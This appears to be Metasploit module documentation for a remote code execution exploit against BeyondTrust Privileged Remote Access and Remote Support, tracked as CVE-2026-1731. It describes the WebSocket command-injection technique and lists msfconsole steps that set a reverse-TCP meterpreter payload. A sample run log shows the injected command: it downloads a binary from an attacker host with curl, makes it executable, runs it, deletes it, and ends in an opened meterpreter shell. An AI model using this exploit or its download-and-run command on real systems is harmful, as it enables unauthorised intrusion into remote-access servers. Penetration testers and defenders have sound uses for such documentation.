## Vulnerable Application
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS) by leveraging CVE-2026-1731, an OS command injection vulnerability.
The injected command is executed with the privileges of the site user of the targeted BeyondTrust product site.
Affected version are versions `25.3.1` and prior for Remote Support (RS), versions `24.3.4` and prior for Privileged Remote Access (PRA).
The vulnerability exists in the WebSocket-based support desk customer interface. The module establishes a
WebSocket connection to the vulnerable endpoint and injects an OS command via a Bash arithmetic evaluation
context (`a[$(command)]0`).

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/http/beyondtrust_pra_rs_command_injection`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
5. `set LHOST <ATTACKER_IP_ADDRESS>`
6. `set LPORT 4444`
7. `check`
8. `exploit`

## Options

### TargetCompanyName (Advanced)
If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`).
By default, this is auto discovered by querying the target.

### TargetServerFQDN (Advanced)
If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`).
By default, this is auto discovered by querying the target.

## Scenarios

```
msf exploit(linux/http/beyondtrust_pra_rs_command_injection) > run verbose=true 
[*] Command to run on remote host: curl -so /var/tmp/sjlnZMOtljNA http://192.168.3.7:8080/EO6WzfXF6CGyqdBiy1rT5w;chmod +x /var/tmp/sjlnZMOtljNA;/var/tmp/sjlnZMOtljNA&sleep 3;rm -rf /var/tmp/sjlnZMOtljNA
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 24.1.2
[*] Got site info via the /get_mech_list?version=3 endpoint.
[*] Company name: mytestcompany
[*] Site FQDN: 
[*] Using company name: mytestcompany
[*] Client 10.5.132.179 requested /EO6WzfXF6CGyqdBiy1rT5w
[*] Sending payload to 10.5.132.179 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.5.132.179
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.179:33578) at 2026-02-24 16:14:36 +0100

meterpreter > sysinfo
Computer     : bombur
OS           : Gentoo 2.14 (Linux 6.1.76-bt)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

```
